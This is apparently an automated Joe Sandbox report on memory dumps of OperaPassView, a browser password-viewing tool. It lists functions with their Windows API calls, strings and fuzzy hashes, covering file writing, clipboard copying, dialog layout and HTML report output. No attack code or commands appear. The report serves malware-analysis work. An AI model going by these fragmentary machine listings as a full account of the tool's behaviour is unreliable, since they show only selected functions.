Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: f7cb4ad073e445e46a170c7d98e7b835c3a4e02ef0d256329d2e1587878cb5e6
Instruction ID: 44ca31bac7325476affb0a5a8a4e30de110c9927306568b9f6297b12081be1b6
Opcode Fuzzy Hash: f7cb4ad073e445e46a170c7d98e7b835c3a4e02ef0d256329d2e1587878cb5e6
Instruction Fuzzy Hash: 09D0923511020DFBDF018F80DD06B997BA9EB04359F104054BA04A5060C7B59A10AB54

Function 00403979 Relevance: 1.5, APIs: 1, Instructions: 10
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000002,00000000,00000000,00406D71,?), ref: 0040398B

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 70c5500d9cdd9ab5da579220ae7798c66593d576d3ca681fc37e6930cfdfa8a3
Instruction ID: bc3eb4ca2c7e2e880f5dea7d521545ca3cd7666ee5b46d0ef391399bf6367a8f
Opcode Fuzzy Hash: 70c5500d9cdd9ab5da579220ae7798c66593d576d3ca681fc37e6930cfdfa8a3
Instruction Fuzzy Hash: 54C012F0250302FEFF204B10AD4AF37395DE780704F2084207E00F40E1D2B14C41D924

Function 0040A86C Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnumResourceNamesW.KERNELBASE(?,?,Function_0000A7E6,00000000), ref: 0040A87B

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: EnumNamesResource
String ID:
API String ID: 3334572018-0
Opcode ID: 6f1b4270c9ccc508f8355bcb726170f444d9a0e27a8a615aa5e15917959b622a
Instruction ID: f1b79075368d7f3302d5c16def4a05d75f3a67994f6a28744877584c49ca99fa
Opcode Fuzzy Hash: 6f1b4270c9ccc508f8355bcb726170f444d9a0e27a8a615aa5e15917959b622a
Instruction Fuzzy Hash: DBC09B31594341D7C711DF609D45F1AB6A5BB69705F108D397151A40E0C7718024DA05

Function 00403CB3 Relevance: 1.5, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(?,00405371,?,00405428,00000000,?,00000000,00000208), ref: 00403CB7

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 7972945271e20ad746e209f09ada209896a6e2a7f5211ef5cd7ef869261963fc
Instruction ID: 8145a2f8594110c4b38fb2f1cb2a7870fdd634be9abe19054bc204d55fbc2e7d
Opcode Fuzzy Hash: 7972945271e20ad746e209f09ada209896a6e2a7f5211ef5cd7ef869261963fc
Instruction Fuzzy Hash: D1B01275210000CFCB1807349D8504D76525F44631720473CB033D00F0DB30CC60FA00

Function 00406EEE Relevance: 1.4, APIs: 1, Instructions: 102COMMON

Download Yara Rule

APIs

Part of subcall function 00405BD5: ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00405BF7
Part of subcall function 00405BD5: ??3@YAXPAX@Z.MSVCRT(00000000), ref: 00405C8C

Part of subcall function 00403979: CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000002,00000000,00000000,00406D71,?), ref: 0040398B

CloseHandle.KERNELBASE(?), ref: 00406FD2

Part of subcall function 0040429D: WriteFile.KERNELBASE(?,?,00000000,00000000,00000000,?,?,00401E28,?,?,00000000,?), ref: 004042B4

Part of subcall function 004039D9: GetLastError.KERNEL32 ref: 004039ED
Part of subcall function 004039D9: _snwprintf.MSVCRT ref: 00403A1A
Part of subcall function 004039D9: MessageBoxW.USER32(?,?,Error,00000030), ref: 00403A33

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: File$??2@??3@CloseCreateErrorHandleLastMessageWrite_snwprintf
String ID:
API String ID: 630946551-0
Opcode ID: 2b7cd5079391e9d8e55a69fd821202ef4b4eaf6bdb143ee368991e79ac058e55
Instruction ID: 64313440329800f9810f307c06da1c2bcf1b1abd5f9e92a2a996e6603ed7f5a3
Opcode Fuzzy Hash: 2b7cd5079391e9d8e55a69fd821202ef4b4eaf6bdb143ee368991e79ac058e55
Instruction Fuzzy Hash: 7A31B571700101AFCB24AF69D889E5E7BA9AF48715F11447FF44BAB2D1CB389D90CB58

Function 0040459C Relevance: 1.3, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 004045A3

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 8563d17b0dccb6363eb3bc78f873fa2705b264ca117ec91251e6f4b542df73af
Instruction ID: 65d3eccb63d21b72dd929ec341c4414f44add3eddc226cefbfcf3e612d681bbc
Opcode Fuzzy Hash: 8563d17b0dccb6363eb3bc78f873fa2705b264ca117ec91251e6f4b542df73af
Instruction Fuzzy Hash: D8C08CB24107018FE7309F22C809323B3E4EF4072BF608C1D90D0920C1D77CD480CA08

Non-executed Functions

Function 00403B17 Relevance: 16.6, APIs: 11, Instructions: 59clipboardmemoryfileCOMMON

Download Yara Rule

APIs

EmptyClipboard.USER32 ref: 00403B21

Part of subcall function 00403960: CreateFileW.KERNEL32(00000003,80000000,00000003,00000000,00000003,00000000,00000000,00403B2F,?), ref: 00403972

GetFileSize.KERNEL32(00000000,00000000), ref: 00403B3E
GlobalAlloc.KERNEL32(00002000,00000002), ref: 00403B4F
GlobalLock.KERNEL32(00000000), ref: 00403B5C
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00403B6F
GlobalUnlock.KERNEL32(00000000), ref: 00403B81
SetClipboardData.USER32(0000000D,00000000), ref: 00403B8A
GetLastError.KERNEL32 ref: 00403B92
CloseHandle.KERNEL32(?), ref: 00403B9E
GetLastError.KERNEL32 ref: 00403BA9
CloseClipboard.USER32 ref: 00403BB2

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: ClipboardFileGlobal$CloseErrorLast$AllocCreateDataEmptyHandleLockReadSizeUnlock
String ID:
API String ID: 3604893535-0
Opcode ID: 0db2833bbf710edc4002946b08285dc8a0adc3005e02f9950c9bdb69ed800eb3
Instruction ID: 6180a8f7ef76292c9a3a20267fe9ddcfe1b9c844075d3e570f8186bb1a9e56aa
Opcode Fuzzy Hash: 0db2833bbf710edc4002946b08285dc8a0adc3005e02f9950c9bdb69ed800eb3
Instruction Fuzzy Hash: A6111C76900208FBD7105FE4ED8CA5E7E78EB04316F104276F906F1291DB749A05DA69

Function 00407FBA Relevance: 9.1, APIs: 6, Instructions: 55fileclipboardCOMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00407FD1
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00407FE3
GetTempFileNameW.KERNEL32(?,0040DF40,00000000,00000000), ref: 00408006
OpenClipboard.USER32(00000000), ref: 00408030
GetLastError.KERNEL32 ref: 00408049
DeleteFileW.KERNEL32(00000000), ref: 00408068

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: FileTemp$ClipboardDeleteDirectoryErrorLastNameOpenPathWindows
String ID:
API String ID: 2014771361-0
Opcode ID: f38ebe6f4373c20ecce6a77353dd9227b6d8f424a55b39871be9a66ea2fac60e
Instruction ID: feb814f71b764bc893c0f87020e80892dea5429282502041cd83414046d32cac
Opcode Fuzzy Hash: f38ebe6f4373c20ecce6a77353dd9227b6d8f424a55b39871be9a66ea2fac60e
Instruction Fuzzy Hash: 1B115471600308DADB20DBA0DD89FDB77BD6B00704F00057AB555F21D1DF78A9C48B29

Function 0040109F Relevance: 47.4, APIs: 26, Strings: 1, Instructions: 182COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003EC), ref: 004010F7
ChildWindowFromPoint.USER32(?,?,?), ref: 00401109
GetDlgItem.USER32(?,000003EE), ref: 0040113F
ChildWindowFromPoint.USER32(?,?,?), ref: 0040114C
GetDlgItem.USER32(?,000003EC), ref: 0040117A
ChildWindowFromPoint.USER32(?,?,?), ref: 0040118C
GetModuleHandleW.KERNEL32(00000000,?,?), ref: 00401195
LoadCursorW.USER32(00000000,00000067), ref: 0040119E
SetCursor.USER32(00000000,?,?), ref: 004011A5
GetDlgItem.USER32(?,000003EE), ref: 004011C6
ChildWindowFromPoint.USER32(?,?,?), ref: 004011D3
GetDlgItem.USER32(?,000003EC), ref: 004011ED
SetBkMode.GDI32(?,00000001), ref: 004011F9
SetTextColor.GDI32(?,00C00000), ref: 00401207
GetSysColorBrush.USER32(0000000F), ref: 0040120F
GetDlgItem.USER32(?,000003EE), ref: 00401230
EndDialog.USER32(?,?), ref: 00401265
DeleteObject.GDI32(?), ref: 00401271
GetDlgItem.USER32(?,000003ED), ref: 00401296
ShowWindow.USER32(00000000), ref: 0040129F
GetDlgItem.USER32(?,000003EE), ref: 004012AB
ShowWindow.USER32(00000000), ref: 004012AE
SetDlgItemTextW.USER32(?,000003EE,00410E88), ref: 004012BF
SetWindowTextW.USER32(?,OperaPassView), ref: 004012CD
SetDlgItemTextW.USER32(?,000003EA,?), ref: 004012E5
SetDlgItemTextW.USER32(?,000003EC,?), ref: 004012F6

Strings

OperaPassView, xrefs: 004012C5

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: Item$Window$Text$ChildFromPoint$ColorCursorShow$BrushDeleteDialogHandleLoadModeModuleObject
String ID: OperaPassView
API String ID: 829165378-491582363
Opcode ID: 44c3fea5d5aaf05a1ae1a793020c2e01a364cb6e94ecba1d8cb3666bd2b1d1f9
Instruction ID: a12a850719dd4dff80d3421bec8904e412416a354020c0a85a33f63fcb6912c6
Opcode Fuzzy Hash: 44c3fea5d5aaf05a1ae1a793020c2e01a364cb6e94ecba1d8cb3666bd2b1d1f9
Instruction Fuzzy Hash: E151A131500309EBDB22AF61DD85E6E7BB5EB04301F10853AFA56BA5F0C7749991DF08

Function 00409810 Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 214windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,?), ref: 00409855
GetDlgItem.USER32(?,000003EA), ref: 0040986D
SendMessageW.USER32(00000000,000000B1,00000000,0000FFFF), ref: 0040988B
SendMessageW.USER32(?,00000301,00000000,00000000), ref: 00409897
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 0040989F
memset.MSVCRT ref: 004098C6
memset.MSVCRT ref: 004098E8
memset.MSVCRT ref: 00409901
memset.MSVCRT ref: 00409915
memset.MSVCRT ref: 0040992F
memset.MSVCRT ref: 00409944
GetCurrentProcess.KERNEL32 ref: 0040994C
ReadProcessMemory.KERNEL32(00000000,?,00000080,00000000), ref: 0040996F
ReadProcessMemory.KERNEL32(?,?,00000080,00000000), ref: 004099A1
memset.MSVCRT ref: 004099F4
GetCurrentProcessId.KERNEL32 ref: 00409A02
memcpy.MSVCRT(?,00410820,0000021C), ref: 00409A30
wcscpy.MSVCRT ref: 00409A53
_snwprintf.MSVCRT ref: 00409AC2
SetDlgItemTextW.USER32(?,000003EA,?), ref: 00409ADA
GetDlgItem.USER32(?,000003EA), ref: 00409AE4
SetFocus.USER32(00000000), ref: 00409AEB

Strings

Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X, xrefs: 00409AB7
{Unknown}, xrefs: 004098DA

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: memset$Process$ItemMessageSend$CurrentMemoryRead$DialogFocusText_snwprintfmemcpywcscpy
String ID: Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X${Unknown}
API String ID: 4111938811-1819279800
Opcode ID: 007ae5658ee67c496a52f2f0c58de467b094a3f2f94befcb10f6f0759da7e3ca
Instruction ID: 2e49bca4ceb178242313f370ad9eea42edebf1a9a74c4768f4a1d173b23e745a
Opcode Fuzzy Hash: 007ae5658ee67c496a52f2f0c58de467b094a3f2f94befcb10f6f0759da7e3ca
Instruction Fuzzy Hash: 4C7162B280011DEFDB21AB51DC85EDA7B6DEF08354F00417AF508B6191DB799E84CFA8

Function 00409FCA Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 265COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00409FF7
GetDlgItem.USER32(?,000003E8), ref: 0040A003
GetWindowRect.USER32(00000000,?), ref: 0040A045
GetWindowRect.USER32(?,?), ref: 0040A050
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 0040A064
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 0040A072
73A1A570.USER32(?,?,?), ref: 0040A0AB
wcslen.MSVCRT ref: 0040A0EB
GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 0040A0FC
_snwprintf.MSVCRT ref: 0040A20C
SetWindowTextW.USER32(?,?), ref: 0040A220
SetWindowTextW.USER32(?,00000000), ref: 0040A23E
GetDlgItem.USER32(?,00000001), ref: 0040A274
GetWindowRect.USER32(00000000,?), ref: 0040A284
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 0040A292
GetClientRect.USER32(?,?), ref: 0040A2A9
GetWindowRect.USER32(?,?), ref: 0040A2B3
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000206), ref: 0040A2F9
GetClientRect.USER32(?,?), ref: 0040A303
SetWindowPos.USER32(?,00000000,?,?,?,?,00000204), ref: 0040A33B

Strings

EDIT, xrefs: 0040A1E1
%s:, xrefs: 0040A201
STATIC, xrefs: 0040A1AB

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: Window$Rect$ItemPointsText$Client$A570ExtentPoint32_snwprintfwcslen
String ID: %s:$EDIT$STATIC
API String ID: 842022892-3046471546
Opcode ID: 2b7329c89531e0cdded902813a7e1d204c2fb6548433e42077877b92fc7e4063
Instruction ID: 00c6174f09e9d85bfc0101fa71ec0abfc3127ee496ceb4a79d8969e95b1e413f
Opcode Fuzzy Hash: 2b7329c89531e0cdded902813a7e1d204c2fb6548433e42077877b92fc7e4063
Instruction Fuzzy Hash: 40B1D071108301AFD710DFA9C984E6BBBE9FF88704F004A2DF699962A1DB75E814CF16

Function 00407ADB Relevance: 35.3, APIs: 16, Strings: 4, Instructions: 271windowregistryclipboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00404CB2: LoadMenuW.USER32(00000000), ref: 00404CBA

SetMenu.USER32(?,00000000), ref: 00407C0A
SendMessageW.USER32(00000000,00000404,00000001,?), ref: 00407C3D
GetModuleHandleW.KERNEL32(00000000), ref: 00407C4C
LoadImageW.USER32(00000000,00000068,00000000,00000000,00000000,00009060), ref: 00407C59
GetModuleHandleW.KERNEL32(00000000), ref: 00407C90
CreateWindowExW.USER32(00000000,SysListView32,00000000,50810809,00000000,00000000,00000190,000000C8,?,00000103,00000000,00000000), ref: 00407CB7
GetModuleHandleW.KERNEL32(00000000,00000000,00000001), ref: 00407D31
LoadIconW.USER32(00000000,00000066), ref: 00407D3A
GetFileAttributesW.KERNEL32(004113D8,/nosaveload), ref: 00407DAB
GetTempPathW.KERNEL32(00000104,004113D8), ref: 00407DBB
wcslen.MSVCRT ref: 00407DC2
wcslen.MSVCRT ref: 00407DD0
RegisterClipboardFormatW.USER32(commdlg_FindReplace), ref: 00407E1D
SendMessageW.USER32(?,00000404,00000002,?), ref: 00407E56
SendMessageW.USER32(?,0000040B,00001001,00000000), ref: 00407E69
DragAcceptFiles.SHELL32(?,00000001), ref: 00407E73

Part of subcall function 004023A5: wcslen.MSVCRT ref: 004023C2
Part of subcall function 004023A5: SendMessageW.USER32(00000000,00001061,00000000,?), ref: 004023E6

Strings

/nosaveload, xrefs: 00407D5C
commdlg_FindReplace, xrefs: 00407E18
SysListView32, xrefs: 00407CB1
report.html, xrefs: 00407DC9, 00407DE1

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: MessageSend$HandleLoadModulewcslen$Menu$AcceptAttributesClipboardCreateDragFileFilesFormatIconImagePathRegisterTempWindow
String ID: /nosaveload$SysListView32$commdlg_FindReplace$report.html
API String ID: 2239506955-2103577948
Opcode ID: 0e5da505e621330b4a2d63a96c38446b6520448a779e9af2fe8d9db8e0b0c912
Instruction ID: 775989f50ab0ef32243f7c4ee976daec5aa22617c63f64fd310e10e69911fec0
Opcode Fuzzy Hash: 0e5da505e621330b4a2d63a96c38446b6520448a779e9af2fe8d9db8e0b0c912
Instruction Fuzzy Hash: BCB1D071904288EFEB11DF68C889BCE7FA5AF54300F044479FE48BB292C7B95544CBA9

Function 0040ACEB Relevance: 33.4, APIs: 12, Strings: 7, Instructions: 103COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040AD0D
memset.MSVCRT ref: 0040AD22
wcscpy.MSVCRT ref: 0040AD54
_snwprintf.MSVCRT ref: 0040AD74
wcscat.MSVCRT ref: 0040AD81
_snwprintf.MSVCRT ref: 0040ADB0
wcscat.MSVCRT ref: 0040ADBD
wcscat.MSVCRT ref: 0040ADCB
wcscat.MSVCRT ref: 0040ADDD
wcscat.MSVCRT ref: 0040ADE8
wcscat.MSVCRT ref: 0040ADFA
wcscat.MSVCRT ref: 0040AE0C

Strings

size="%d", xrefs: 0040AD63
</font>, xrefs: 0040AE06
<b>, xrefs: 0040ADD7
<font, xrefs: 0040AD4E
color="#%s", xrefs: 0040AD9F
Dk@, xrefs: 0040ACF4
</b>, xrefs: 0040ADF4

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: wcscat$_snwprintfmemset$wcscpy
String ID: color="#%s"$ size="%d"$</b>$</font>$<b>$<font$Dk@
API String ID: 3143752011-2104739131
Opcode ID: 05fe2a801be0b1613b89f7bc63cbac08c18fe65105dbcbdeac47736927c7b34a
Instruction ID: bf39317571149bd1c72c16801d1d72e1aa836a3e5b857ede7f61db198e60d93d
Opcode Fuzzy Hash: 05fe2a801be0b1613b89f7bc63cbac08c18fe65105dbcbdeac47736927c7b34a
Instruction Fuzzy Hash: 8A31E4B2800309AED720EA559D86E6F73BCDF40714F60497FF214B21C2EB3E99558A5E

Function 004067EA Relevance: 31.7, APIs: 10, Strings: 8, Instructions: 184COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040680B
memset.MSVCRT ref: 00406835
memset.MSVCRT ref: 0040684B
memset.MSVCRT ref: 00406861
_snwprintf.MSVCRT ref: 0040689A
wcscpy.MSVCRT ref: 004068E5
_snwprintf.MSVCRT ref: 00406972
wcscat.MSVCRT ref: 004069A4

Part of subcall function 0040ABC0: _snwprintf.MSVCRT ref: 0040ABE4

wcscpy.MSVCRT ref: 00406986
_snwprintf.MSVCRT ref: 004069E3

Part of subcall function 00403992: wcslen.MSVCRT ref: 0040399F
Part of subcall function 00403992: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00406A3F,?,<item>), ref: 004039AE

Strings

<table border="1" cellpadding="5">, xrefs: 004068A2
</table><p>, xrefs: 00406A05
bgcolor="%s", xrefs: 0040688C
<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s, xrefs: 00406813
Dk@, xrefs: 00406983, 0040696F
 , xrefs: 0040699E
nowrap, xrefs: 004068DF
<font color="%s">%s</font>, xrefs: 00406965

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: _snwprintfmemset$wcscpy$FileWritewcscatwcslen
String ID: bgcolor="%s"$ nowrap$ $</table><p>$<font color="%s">%s</font>$<table border="1" cellpadding="5">$<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s$Dk@
API String ID: 1277802453-447587558
Opcode ID: 9fb8add28beb6dedc95fe4ea4b1474876ec73735b2af5615a542e2dfb76c4588
Instruction ID: 3d811c55a601b9a54f9feaa86a49dc526349946696447936c9506965b807033a
